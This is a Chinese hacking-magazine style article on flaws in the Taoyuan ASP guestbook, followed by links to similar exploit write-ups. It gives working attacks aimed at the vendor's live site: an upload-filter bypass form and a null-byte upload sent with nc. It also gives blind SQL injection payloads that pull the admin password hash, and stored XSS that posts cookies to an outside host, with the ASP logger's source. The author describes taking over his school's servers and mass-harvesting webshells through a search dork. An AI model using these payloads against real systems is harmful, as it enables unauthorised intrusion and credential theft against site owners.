研究桃源留言本的漏洞

桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统。由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评。桃源留言本由原来的2.0版,升级到现在的3.0版。其官方网站也是3.0版。前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本。于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少。

              一.上传漏洞

我在网上搜索的时候,发现已经有人公布了一个上传漏洞。不过网上公布的是针对2.0版的,不全面。桃源留言本的上传漏洞其实在所有版本都存在。所有版本都有3个上传的地方:Upfile_Article.asp,Upfile_Dialog.asp,Upfile_Photo.asp.这里的上传漏洞和动力3.51的上传漏洞基本上是一样的。动网的带来了上传漏洞热潮已经过去了,相信大家对上传漏洞已经相当熟悉。不过我这里还是要提一下。来看桃源留言本最新版本3.0的Upfile_Article.asp的部分代码。

for each formName in upload.file '列出所有上传了的文件,一个FOR循环!

set ofile=upload.file(formName) '生成一个文件对象

...

arrUpFileType=split(UpFileType,"|") '取得定义的可以上传的后缀名

for i=0 to ubound(arrUpFileType)

if fileEXT=trim(arrUpFileType(i)) then

EnableUpload=true hoho,EnableUpload '变量改变了!

exit for

end if

next

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="cer" or fileEXT="cdx" then '呵呵,都过滤了。

EnableUpload=false

end if

if EnableUpload=false then

msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType

FoundErr=true hoho,FoundErr '变量改变了!

end if

...

if FoundErr<>true then  '又是一个重要地方,FoundErr变量是能否上传的关键

randomize

ranNum=int(900*rnd)+100 '生成一个随机数

filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt  '没改变上传文件的后缀

...

这里又是化境无组件上传,具体的漏洞原理分析,我不想多说了,因为有太多的人分析了。由于化境无组件上传可以同时上传多个文件,作者没有考虑到这种情况。当我们上传两个文件时,假设第一个为1.gif,第二个为2.php。因为1.gif符合可以上传的后缀名 ,变量EnableUpload=true了。当第二个文件2.php上传的时候,变量的值没有改变,而且php不在asp,aspx,cer,cdx这几种特殊情况之内,又骗过了检测, FoundErr<>true,于是2.php也会随着1.gif上传到服务器。上传1.gif是为了给2.php做掩护,第二个文件可以是除asp,aspx,cer,cdx以外的任意后缀。如果服务器支持jsp,我们也可以传jsp木马。实际上这个3.0版的的Upfile_Article.asp还是对上传漏洞又所修补,不过修补够,我们还有办法突破。因为在以前的2.0版,2.1版上面那一句是:if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then,这样我们就随便传cer,cdx后缀的asp木马了。3.0版的还真奇怪,Upfile_Article.asp和Upfile_Photo.asp都修补了一下,也就是增加了对cer,cdx后缀的过滤,但是Upfile_Dialog.asp却和2.0版2.1版的一样。因此3.0版我们可以直接对Upfile_Dialog.asp加以利用,把upload_Dialog.asp的关键部分加以修改:

<body bgColor=menu leftmargin="5" topmargin="0">

<form action="http://www.mytaoyuan.com/ly/Upfile_Dialog.asp" method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">

<input name="FileName" type="FILE" class="tx1" size="35">

<input name="FileName1" type="FILE" class="tx1" size="35">

<input type="submit" name="Submit" value="上传">

<input name="DialogType" type="hidden" id="DialogType" value="pic">

</form>

</body>

如图1 注意后面的DialogType这个隐藏变量。HOHO,第一个文件选gif文件,第二个就把asp木马改后缀为cdx,传上去就ok了。如图2。

3.0版的Upfile_Article.asp这种修补漏洞的方法不可取。,其实自从动力漏洞公布后,很多系统又相似的漏洞,许多站长就是这么修补上传漏洞的,可惜他们并不懂得真正原理。我们构造asp .gif后缀,同样把Upload_Article.asp加以改造,上传2个文件,第一个1.gif,第2个2.asp .gif,再上传抓包保存为bao.txt,用winhex打开bao.txt,把空格对应20棏改为00(相信大家都熟练了)。再用nc提交,nc www.mytaoyuan.com 80<bao.txt,这样就把asp木马传上去。如图。较好地修补可以在upfile_Dialog.asp找到

if FoundErr<>true then

       randomize

       ranNum=int(900*rnd)+100

       filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt

       ofile.SaveToFile Server.mappath(FileName)  '保存文件

在FileName=SavePath & ofile.FileName下增加:FileName=Replace(FileName,Chr(0),"")即可,它过滤了00.

            二.注入漏洞

打开留言本,发现留言本底部有一个搜索框。如图3 .再看它的default.asp里面代码。

select case option1

case 1

SQL="Select * From guest where "&mark&"subject like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"

case 2

SQL="Select * From guest where "&mark&"content like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"

case 3

前后对text变量没有任何过滤。如果我们再框里填上搜索词:建议' and 1=1 and '%'='

查询语句变成了:'subject like '%建议' and 1=1 and '%'='%' and webid='' order by top1,lastdate desc' ,配配了单引号,于是正常返回与建议有关的内容。我对桃源留言本官方网站测试如下:

建议' and 1=(select @@version) and '%'=' //看是不是sql数据库

建议' and 0<>(select count(*) from register) and '%'='  //看管理员表是否存在,我怕管理员改了默认表名 

建议' and 0<>(select id from register where username='admin') and '%'=' //看管理员是不是admin

建议' and (select username from register where username='风雨无阻') and '%'='//确定管理员是风雨无阻,这是从留言本是看到的

建议' and 0<>(select id from register where id=1) and '%'=' //确定管理员id是否为1

建议' and exists (select id from register where len(password1)=16 and id=1) and '%'=' //确定管理员密码是否也md5加密了

建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))<100) and '%'='//猜密码长度了,已经知道是16位md5

建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))=51) and '%'='

建议' and (select top 1 id from register where id=1 and asc(mid(password1,2,1))<100) and '%'='

...

把16位md5密码的每一位都猜出来了,对照asc码表就确定了密码是密文:350e2cfa35948c49,可以检验一下,提交:

建议' and (select password1 from register where password1='350e2cfa35948c49') and '%'='

桃源留言本的所有基本上都没过滤,再看show.asp,用来显示留言的。

dsql="delete From reply where id1="&request("id")  

  conn.execute(dsql)

  rs.open "Select * from guest where ID = " & request("ID1"),conn,2,3

id这个变量任何过滤,这样我们点击任意一条留言,就是注入点了。

           三.cookies漏洞

读到login.asp,发现如下代码:

response.cookies("ly").Path=cookiePath

response.cookies("ly")("useridname")=name

response.cookies("ly")("useridpassword")=pass

if rs("level1")="管理员" then response.cookies("ly")("admin")=1 else if rs("level1")="版主" then response.cookies("ly")("admin")=2 else response.cookies("ly")("admin")=0

我马上一阵高兴,cookies里的admin这个变量我们可以自己制定,这样自己不就是管理员么?修改cookies最好用桂林老兵那个修改cookies

的浏览器,比较方便。但是发现没有用的。再default.asp中有:

if session("useridname")<>"" then

  rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1

  if not rs.eof then

    if rs("level1")="管理员" then session("admin")=1

    if rs("level1")="版主" then session("admin")=2

    if rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0

  else

    session("admin")=0

  end if

这就是加了session认证。此留言本无后台,只要是管理员就可以前台进行管理操作。而每个有管理功能的页面都是这样:

<%if session("admin")<>1 then response.Redirect "default.asp"%>

而且cookies中密码是明文显示的,如:useridpassword=ccc&admin=1&useridname=ccc。这样上面我们注入得到的密码也无法进行cookies欺骗,除非破解出来才行。不过这样也有个安全因素。cookies中的密码是明文,这样保密性不好,如果被人偷看了,而我们的密码又和什么邮箱,QQ密码一样,那就惨了。

           四.跨站攻击

这个问题要比上面的严重。漏洞主要出在guest_register.asp。这里是注册定义头像的地方,定义头像可以选择系统自带头像,也可以自己上传。一个框框填些自己定义头像的地址。

<input name="myface" type="text" class="input1" id="QQ3" size="30">

  <br>

  </font></div></td>

  <td width="458" align="center"><div align="left"><iframe style="top:2px" ID="UploadFiles" src="upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe>

   <br>

然后在guest_info.asp中,这里是修改自己注册信息的地方。

<td width="11%"><img src="<%if rs("myface")<>"" then response.write(rs("myface")) else response.write(rs("face"))%>" width="72" id=idface ></td>。

myface这个变量没有经过过滤。我们构造头像:http://www.anqn.com/article/b/2005-11-25/11.gif"><script>alert('aaa啊')</script>,最后显示出来就是:

<img src="http://www.anqn.com/article/b/2005-11-25/11.gif"><script>alert('aaa啊')</script>" width="20" height="30">

<input name="myface" type="text" class="input1" id="QQ3" value="http://www.anqn.com/article/b/2005-11-25/11.gif">alert('aaa啊')</script>" size="30">

自然就弹出两次对话框。如图4。经测试个人主页那里也可以进行跨站攻击。我们就个人主页那里填:

http://<script>alert('aaa啊')</script>,最后显示出来就是:

<a href="http://<script>alert('aaa啊')</script>" target="_blank">http://<script>alert('aaa啊')</script></a></font></div></td>

我们的代码又执行了。填些qq号码那里也每过滤,不过长度有限制,不能跨站。

这样我们构造跨站之后,只要管理员看了我们发的帖子或者资料,他就中招了。前面不是谈到cookies中密码明文显示么?我们就跨站偷cookies。我们构造头像http://www.anqn.com/article/b/2005-11-25/11.gif"><script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>

个人主页http://<script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>就行了。我们的http://webshell.com/qq156544632/下面的co.asp应该这样些:

<%

msg=Request.ServerVariables("QUERY_STRING")

testfile=Server.MapPath("qq156544632.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg& "")

thisfile.close

set fs = nothing

%>

<script language=vbscript>window.close()</script>

(此代码好像是Lcx大哥原创的,在此表示感谢。)这样管理员的cookies就会写到http://webshell.com/qq156544632/156544632.txt里面。

这里顺便说下,以上跨站代码用了Fso对象,所以你的http://webshell.com/必须支持FSO,window.close()这里是为了关闭http://webshell.com/qq156544632/co.asp的,以免引起怀疑。看我偷的cookies图。如图5.

            五.其它漏洞

桃源留言本的默认数据库为mdb文件,没有任何防下载措施。在“黑客”越来越多的今天,写代码的还这样有点不应该了。后台有备份,恢复数据库的功能。假设我们得到了管理密码,能进行管理操作,如果数据库被改成了asp的,我们就随便什么地方把一句话asp木马写进他数据库,把他的数据库变成asp木马。如果数据库没改,或我们不知道数据库路径,我们就先把一句话木马写进数据库,再备份数据库。因为备份数据库默认为asa文件,假设我们备份为Databackup/langzi.asa,我们直接访问http://www.xxx.com/Databackup/langzi.asa,是不是也可以用一句话asp木马进行操作了?

看完了是不是觉得漏洞挺多啊?留言本一般再网站中起配角作用,一次许多网站管理员对留言本的脚本安全不够重视,而且留言本开发者

也在安全性上不够努力。实际上任何一个微小的漏洞都有可能威胁到服务器的安全。千里之堤,溃于蚁穴。就拿我来说吧,就是通过这个留言本的漏洞,入侵了我们学校一个部门的网站,进而入侵了学校的网站,再进一步控制学校网站的服务器,最后我渗透内网,控制了学校的所有服务器。希望以后的脚本编写者一定要懂得安全第一,也希望其它的类似留言本不要出现本文所提到的漏洞。用baidu搜索"填写留言 用户登录 用户注册 发言排名 查看精华"或其它关键词就可以找到大批使用桃源留言本的网站,90%以上都存在漏洞,我瞬间就得到一批webshell。目前桃源留言本官方网站漏洞还没补,留言本系统一直供人下载,希望大家千万不要上去捆马,也不要攻击其它国内网站。

由于本人水平有限,而且是在有限的时间里粗略地看了下代码,错误遗漏在所难免。欢迎与我交流,本人qq:156544632,当然最好是上我们地《黑客X档案》地论坛去讨论。

(0)

相关推荐

  • 研究桃源留言本的漏洞

    桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统.由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评.桃源留言本由原来的2.0版,升级到现在的3.0版.其官方网站也是3.0版.前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本.于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少.  一.上传漏洞 我在网上搜索的时候,发现已经有人公布了一个上传漏

  • 计算机网络系统安全漏洞分类研究

    写本文的目地是为了总结一些东西,解决在试图构造一个漏洞数据库的过程中碰到的主要问题,也就是如何对计算机网络漏洞进行分类的问题.文中的一些想法并不成熟,有些甚至连自己也不满意,权作抛砖引玉,以期与在这方面有深入研究的同仁交流,共同提高完善.一个计算机网络安全漏洞有它多方面的属性,我认为主要可以用以下几个方面来概括:漏洞可能造成的直接威胁,漏洞的成因,漏洞的严重性,漏洞被利用的方式.以下的讨论将回绕这几个方面对漏洞细分其类.A.按漏洞可能对系统造成的直接威胁 可以大致分成以下几类,事实上一个系统漏洞

  • 推荐:二次发现桃源网络硬盘漏洞

    本人在第10期上的黑防刊登了桃源网络硬盘相关的漏洞后.马上就通知了桃源官方修复了相关漏洞.近日,下班后无聊,就重新下载了桃源网络硬盘的最新版本2.5进行全面检测.发现虽然修补了用".",另存.下载其网站的配置文件及数据库等漏洞.但用其它的方法作了个测试后发现,汗.还是存在相关漏洞,还有就是可以构造代码,任意查看网络硬盘所有文件的源代码及配置文件和数据库.好的,转入正题吧. 为了给大家给个真实的视觉效应,特意在官方详细测试.第一就是上传漏洞,在这里官方已经换上了最新版本的V2.5了.所在

  • ETP 留言本v1.5爆出漏洞及利用方法

    作者:天狼星拒绝爱 这个是一个动画,因为利用过程很简单,所以我给大家简单的说一下 首先进入 http://www.baidu.com 或者http://www.google.com 搜索关键词:Etp Flash 留言本 v1.5 搜索到留言本,可以留言了 留言内容写一句话木马,选择提交留言`` 保存成功! 恩``连接吧``这样一个WEBSHELL就得到了 汗!我搜索了下,看来搞破坏的还很多 看这个http://www.bxxtv.com/down/codeView.asp?id=4183 <-

  • 网站程序中非SI漏洞的利用

    Part I 前言 现在网上最流行的网站攻击手段,要数得上SQL Injection了,虽然SI技术易学易用,并且容易取得较大的权限,但因其风头实在太大,现在一般稍有点安全意识的程序员都会注意到这个问题,并且通过GET方法提交的数据会被服务器记录在案,而让网管很容易找到入侵者. 非SI类攻击相对来说获得的服务器操作权限不大,但对于以获得数据为目的的入侵还是很有用的. Part II 方法介绍 常规的非SI类攻击有如下几种: 一. 跨站脚本攻击(XSS) 跨站脚本攻击不会直接对网站服务器造成破坏,

  • 跨站脚本执行漏洞详解与防护

    本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题 (FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该漏洞.由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教. 声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负! [漏洞成因]  原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换. [漏洞形式]  这里所说的形式,实际上是指CGI输入

  • 最新奇迹私服复制漏洞大全含98C

    0.98版本漏洞=======★★★关于0.98c的复制方法★★★===== 复制必须要两个人,假如主角是A 对方是BA按ESC键 B交易A 交易两次 第二次交易要在第一次交易取消以后 等B交易完之后 A先点OK 再点取消 然后把要复制的东西放入仓库 接着A回来交易BB点OK A走开 复制成功 你会发现你放到仓库的东西又重新出现在你的包裹里 注意:不要把复制的东西和真品同时放在包裹或者仓库,不然后果不堪设想 不信你们自己可以试试 如果有人知道0.98c怎么刷卓越全属性装备请加我QQ8549128

  • 深入研究PHP中的preg_replace和代码执行

    前言 本文将深入研究 preg_replace /e 模式下的代码执行问题,其中包括 preg_replace 函数的执行过程分析.正则表达式分析.漏洞触发分析,当中的坑非常多,相信看完本文,你一定会有所收获.下面是 七月火 和 l1nk3r 的分析结果. 案例 下面先看一个案例,思考如何利用此处的 preg_replace /e 模式,执行代码(可以先不看下文分析,自己思考出 payload 试试). 这个案例实际上很简单,就是 preg_replace 使用了 /e 模式,导致可以代码执行,

  • 关于Android中WebView远程代码执行漏洞浅析

    1. WebView 远程代码执行漏洞描述 Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口.该

  • ASP漏洞全接触-高级篇

    看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了.但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇. 第一节.利用系统表注入SQLServer数据库 SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子: ①http://Site/url.asp?id=1;exec master..xp_cmdshell

随机推荐